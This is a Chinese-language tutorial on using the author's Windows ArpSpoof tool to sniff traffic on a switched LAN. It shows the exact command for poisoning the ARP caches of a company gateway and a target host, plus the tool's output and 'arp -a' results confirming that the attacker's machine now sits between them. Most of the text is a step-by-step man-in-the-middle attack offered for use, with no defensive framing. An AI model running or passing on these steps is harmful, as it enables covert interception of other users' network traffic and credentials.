根據交換環境中Sniffer實現的原理(詳見交換環境下Sniffer的實現),我寫了一個類似於Linux環境下的ArpSpoof實現在Windows環境下的Arp Sniffer。
在交換環境下Windows中實現Sniffer需要具備的條件:
1、安裝Winpcap驅動。
2、我寫了一個類似於Linux環境下的ArpSpoof(我只在Windows 2000 Server下測試過,其他期待您的測試)。
3、一個Sniffer,如NetXray或者NAI Sniffer Pro(推薦)。
具體的實現方法:
使用ArpSpoof實現基於ARP的欺騙:
C:\>arpspoof.exe
ARPSpoof, by netXeyes, Special Thanks BB
www.NetXeyes.com 2002, [email protected]
Usage: ArpSpoof [Spoof IP1] [Spoof IP2] [Own IP]
其中Spoof IP1和Spoof IP2是想要進行欺騙和嗅探的IP地址,Own IP是自己的IP地址(注意這三個IP必須是在同一個局域網內沒有跨越交換機或者路由器)。
例如目前公司的局域網環境為192.168.0.xxx,子網掩碼為255.255.255.0,網關為192.168.0.1。我們的IP為192.168.0.29,想要Sniffer 192.168.0.2的數據包。
由於網關為192.168.0.1,所以我們就只要欺騙192.168.0.1和192.168.0.2就可以了。也就是說告訴192.168.0.1,192.168.0.2的MAC地址是自己(192.168.0.29);然後再告訴192.168.0.2, 192.168.0.1的Mac地址是自己(192.168.0.29)。這樣以來所有的數據包都會發到192.168.0.29,並且由192.168.0.29實現轉發(Windows 2000默認可以進行包轉發,至於Windows 9.x和Windows NT/XP我沒有測試過,希望您可以告訴我)。
C:\>arpspoof.exe 192.168.0.1 192.168.0.2 192.168.0.29
ARPSpoof, by netXeyes, Special Thanks BB
www.NetXeyes.com 2002, [email protected]
Begin Spoof.........
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
.....................................................
是時候對192.168.0.1和192.168.0.2的ARP欺騙就開始了,在192.168.0.1上面使用arp -a命令可以看到192.168.0.2和192.168.0.29的Mac地址是一樣的。
C:\>arp -a
Interface: 192.168.0.1 on Interface 0x1000004
Internet Address Physical Address Type
192.168.0.2 00-00-86-61-6b-4e dynamic
192.168.0.29 00-00-86-61-6b-4e dynamic
同樣在192.168.0.2上面也會發現192.168.0.1和192.168.0.29的Mac地址是一樣的。
這樣我們就在192.168.0.1和192.168.0.2之間實現了ARP欺騙。